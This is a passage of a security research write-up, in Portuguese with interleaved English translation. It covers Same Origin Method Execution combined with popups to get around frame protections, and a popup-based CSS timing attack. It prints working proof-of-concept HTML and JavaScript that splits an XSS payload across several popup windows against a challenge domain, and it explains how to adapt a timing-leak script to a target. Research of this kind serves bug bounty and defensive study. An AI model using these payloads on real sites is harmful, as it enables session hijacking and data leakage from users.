Same Origin Method Execution (SOME) é um ataque a aplicações web que permite sequestrar a execução de métodos do "Document-Object-Module" e/ou de scripts da aplicação web em nome dos usuários. No ataque SOME, a vítima inicialmente visita um link malicioso ou é atraída por uma propaganda maliciosa. Subsequentemente, um conjunto ilimitado e predefinido de ações é executado pelo user agent da vítima (como num ataque XSS). Abusando da sessão da vítima, o SOME pode realizar ações exatamente como se a própria vítima as tivesse disparado. Diferente de muitos outros ataques parecidos, o SOME não exige enganar o usuário pra clicar em objetos escondidos, nem é limitado em termos de interação do usuário, marca do browser, frame busting, headers de resposta HTTP X-FRAME-OPTIONS/outros, ou uma página web em particular. Na verdade, quando uma página web é encontrada vulnerável a SOME, o domínio inteiro fica exposto às vulnerabilidades resultantes. (https://www.someattack.com/Playground/About)
Same Origin Method Execution (SOME) is a web application attack that allows hijacking the execution of Web-Application "Document-Object-Module" and/or scripting methods on behalf of users. In the SOME attack, the victim initially visits a malicious link or is lured by a malicious advertisement. Subsequently, an unlimited predefined set of actions is executed by the victim's user agent (as in an XSS attack). By abusing the victim's session, SOME can perform actions exactly as if the victim has triggered them on his or her own. Unlike many other similar attacks, SOME neither requires tricking the user into clicking on hidden objects, nor is confined in terms of user interaction, browser brand, frame busting, HTTP X-FRAME-OPTIONS/other response headers or a particular web-page. In fact, when a web-page is found vulnerable to SOME, the entire domain becomes exposed to its resulting vulnerabilities. (https://www.someattack.com/Playground/About)
Masato criou um desafio incrível no passado usando o ataque SOME, então decidi usar o desafio dele pra criar a minha PoC juntando SOME e Pop-Ups.Masato created an awesome challenge in the past using the SOME attack, so I decided to use his challenge to build my PoC joining SOME and Pop-Ups.
SOME com bypass de popup blockingSOME with popup blocking bypass
A versão do código pra popups não é tão bonita quanto a versão via iframe, mas funciona igual. Existem duas formas de fazer esse ataque funcionar com popups: a versão feia e chata de fazer, e a versão bonita e rápida de fazer. Mas, no momento em que criei a prova de conceito, acabei fazendo a versão feia e chata.The popup version of the code isn't as pretty as the iframe version, but it works the same. There are two ways to make this attack work with popups: the ugly and boring version, and the pretty and quick version. But at the moment I built the proof of concept, I ended up making the ugly and boring one.
Versão feiaUgly version
<html>
<head></head>
<body>
<script>
window.name="alert(document.domain)";
w1 = window.open('http://localhost:81/simple_case.html');
w2 = window.open('http://localhost:81/simple_case2.html')
w3 = window.open('http://localhost:81/simple_case3.html')
w4 = window.open('http://localhost:81/simple_case4.html')
w5 = window.open('http://localhost:81/simple_case5.html')
w6= window.open('about:blank')
setTimeout(()=>{
location="http://vulnerabledoma.in/xss_2020-06/";
},50)
</script>
</body>
</html>
Cada arquivo simple_case [0-9].html tem basicamente uma parte do payload que foi usado na prova de conceito com iframes. Abaixo está o código usado pra fazer a exploração com o código feio:Each simple_case [0-9].html file basically holds a part of the payload used in the iframe proof of concept. Below is the code used to do the exploitation with the ugly code:
simple_case.htmlsimple_case.html
<html>
<head></head>
<body>
<script>
opener.location="https://vulnerabledoma.in/xss_2020-06/";
setTimeout(()=>{
location="https://vulnerabledoma.in/xss_2020-06/?code=<script>/*%26callback=opener.document.write"
},1000)
</script>
</body>
</html>
callback=opener.document.write remonta o XSS.Ugly version: each popup loads a chunk of the payload and callback=opener.document.write reassembles the XSS.Versão bonitaPretty version
A versão bonita é mais simples e não precisa de vários arquivos diferentes. Não sei exatamente por que fiz a primeira daquele jeito, mas sinto que, na época, eu só queria fazer funcionar com popups e o jeito anterior foi o primeiro que pensei. O resultado do código a seguir é o mesmo, sem mudanças na forma como vai ser executado.The pretty version is simpler and doesn't need several different files. I don't know exactly why I did the first one that way, but I feel that at the time I just wanted to make it work with popups and the previous way was the first thing I thought of. The result of the following code is the same, with no changes in how it executes.
<html>
<head>
</head>
<body>
<script>
if(name == 'w1'){
setTimeout(()=>{
location="https://vulnerabledoma.in/xss_2020-06/?code=<script>/*%26callback=opener.document.write"
},1000);
}else if(name == 'w2'){
setTimeout(()=>{
location="https://vulnerabledoma.in/xss_2020-06/?code=*/eval(/*%26callback=opener.document.write"
},1800);
}else if(name == 'w3'){
setTimeout(()=>{
location="https://vulnerabledoma.in/xss_2020-06/?code=*/name);//%26callback=opener.document.write"
},2600);
}else if(name == 'w4'){
setTimeout(()=>{
location="https://vulnerabledoma.in/xss_2020-06/?code=//xxxx%26callback=opener.document.write"
},3100)
}else if(name == 'w5'){
setTimeout(()=>{
location="https://vulnerabledoma.in/xss_2020-06/?code=<\/script>%26callback=opener.document.write"
},4100)
}else{
window.name="alert(document.domain)"
window.open('http://localhost/some-popups.html','w1')
window.open('http://localhost/some-popups.html','w2')
window.open('http://localhost/some-popups.html','w3')
window.open('http://localhost/some-popups.html','w4')
window.open('http://localhost/some-popups.html','w5')
window.open('about:blank')
location="https://vulnerabledoma.in/xss_2020-06/"
}
</script>
</body>
</html>
Escolhi usar o nome das janelas pra classificar em que parte do payload a PoC está, então defini w[0-9] e, pra cada um deles, há uma condição if pra redirecionar a janela pra a parte do payload necessária pra conseguir o XSS.I chose to use the window names to classify which part of the payload the PoC is at, so I defined w[0-9] and, for each one, there's an if condition to redirect the window to the part of the payload needed to get the XSS.
CSS Timing AttackCSS Timing Attack
Básico do ataqueBasic of the attack
Algum tempo atrás desenvolvi uma solução pro problema apresentado neste blog post. No caso original, a exploração do CSS Timing attack estava sendo feita via iframes, mas em casos onde a página tem X-Frame-Options, boa parte da lógica precisa ser mudada pra funcionar corretamente.Some time ago I developed a solution to the problem presented in this blog post. In the original case, the exploitation of the CSS Timing attack was done via iframes, but in cases where the page has X-Frame-Options, much of the logic needs to change for it to work properly.
CSS Timing Attack com PopupsCSS Timing Attack with Popups
O ataque consiste em gerar variâncias de timing dentro de uma página vulnerável, onde a diferença de timing vai servir pra prever quais dados estão num certo atributo do HTML da página. Pra isso, o :has é usado, já que o :has entra na árvore HTML, e se você passar o :has várias vezes, ele vai entrar várias vezes na árvore HTML, gerando um timing pra achar o atributo e seu valor. O sink pra isso acontecer é através da expressão $(), onde dentro dela vai ter um #, por exemplo:The attack consists of generating timing variances inside a vulnerable page, where the timing difference serves to predict what data is in a certain attribute of the page's HTML. For this, :has is used, since :has enters the HTML tree, and if you pass :has multiple times, it will enter the HTML tree multiple times, generating timing to find the attribute and its value. The sink for this to happen is through the $() expression, where inside it there'll be a #, for example:
$("#"+userInput); or $(userInput)
O userInput na maioria dos casos é uma variável que contém o valor de location.hash, então também é possível se deparar com casos tipo $(location.hash), porque o # permanece na chamada a location.hash.The userInput in most cases is a variable holding the value of location.hash, so it's also possible to come across cases like $(location.hash) because the # stays in the call to location.hash.
O código no link a seguir representa a exploração de um CSS Timing Attack num cenário onde não é possível colocar a página alvo num iframe, exigindo, portanto, o uso de novas janelas:The code at the following link represents the exploitation of a CSS Timing Attack in a scenario where it's not possible to frame the target page, thus requiring the use of new windows:
PoC CSS Timing attack.PoC CSS Timing attack.
Além da necessidade de abrir novas janelas, um dos problemas enfrentados nesse caso (relacionado à própria aplicação) é saber se a janela terminou de carregar ou não — daí o uso de window.length. No caso da PoC acima, o window.length foi usado porque, durante os testes na aplicação web, descobri que tinha um iframe sendo carregado depois do css timing attack. Frame counting é uma técnica de XS-Leaks (https://xsleaks.com/), como já mencionado.Besides the need to open new windows, one of the problems faced in this case (related to the application itself) is knowing whether the window has finished loading or not — hence window.length. In the PoC above, window.length was used because, during the tests on the web application, I discovered there was an iframe being loaded after the css timing attack. Frame counting is an XS-Leaks technique (https://xsleaks.com/), as already mentioned.
O código do CSS timing attack anexado acima precisa de duas mudanças pra ser usado: a mais simples é em HOST, é necessário trocar a palavra HOST pela URL vulnerável. A segunda mudança que precisa ser feita é em setTimeout(() => {resolve({status: true, leak: letter})}, 50);, onde é necessário trocar o 50 pelos milissegundos mais adequados pro seu ataque (lembre que você precisa adaptar esses milissegundos com a sua conexão de rede).The CSS timing attack code attached above needs two changes to be used: the simplest is in HOST, where you need to swap the word HOST for the vulnerable URL. The second change is in setTimeout(() => {resolve({status: true, leak: letter})}, 50);, where you need to change the 50 to the most suitable milliseconds for your attack (remember you need to adapt these milliseconds to your network connection).
Conclusão & Investigações FuturasConclusion & Further Investigations
No fim da pesquisa, só usando algumas das técnicas pra upgrade de self-xss mostradas acima, consegui um total de $2000 dólares em bounties, com um total de 7 XSS reportados. Uma boa linha de pesquisa pra seguir nesse assunto são as novas features de segurança que os browsers estão lançando pra acabar com ataques de XSLeaks, como a window Opener policy e a referrer policy.At the end of the research, just by using some of the self-xss upgrade techniques shown above, I got a total of $2000 in bounties across 7 XSS reported. A good line of research to follow on this subject is the new security features browsers are shipping to kill XSLeaks attacks, such as the window Opener policy and referrer policy.
ReferênciasReferences
- Sheddow — CSS timing attack.Sheddow — CSS timing attack. https://blog.sheddow.xyz/css-timing-attack/
- Vídeo no YouTube.YouTube video. https://www.youtube.com/watch?v=OvarkOxxdic
- Vídeo no YouTube.YouTube video. https://www.youtube.com/watch?v=UfYfID_r7-U
- Ben Hayak — Same Origin Method Execution (white paper, Black Hat EU 2014).Ben Hayak — Same Origin Method Execution (white paper, Black Hat EU 2014). https://www.blackhat.com/docs/eu-14/materials/eu-14-Hayak-Same-Origin-Method-Execution-Exploiting-A-Callback-For-Same-Origin-Policy-Bypass-wp.pdf
- Vídeo no YouTube.YouTube video. https://youtu.be/OvarkOxxdic
- PortSwigger — DOM Clobbering strikes back.PortSwigger — DOM Clobbering strikes back. https://portswigger.net/research/dom-clobbering-strikes-back
- XSLeaks Wiki.XSLeaks Wiki. https://xsleaks.com/
- Vídeo no YouTube.YouTube video. https://www.youtube.com/watch?v=l3yThCIF7e4
- Renwa — Copy, Drag, Paste, Drop.Renwa — Copy, Drag, Paste, Drop. https://medium.com/@renwa/copy-drag-paste-drop-2fd4613ad1d1
- Securitum — The curious case of copy & paste.Securitum — The curious case of copy & paste. https://research.securitum.com/the-curious-case-of-copy-paste/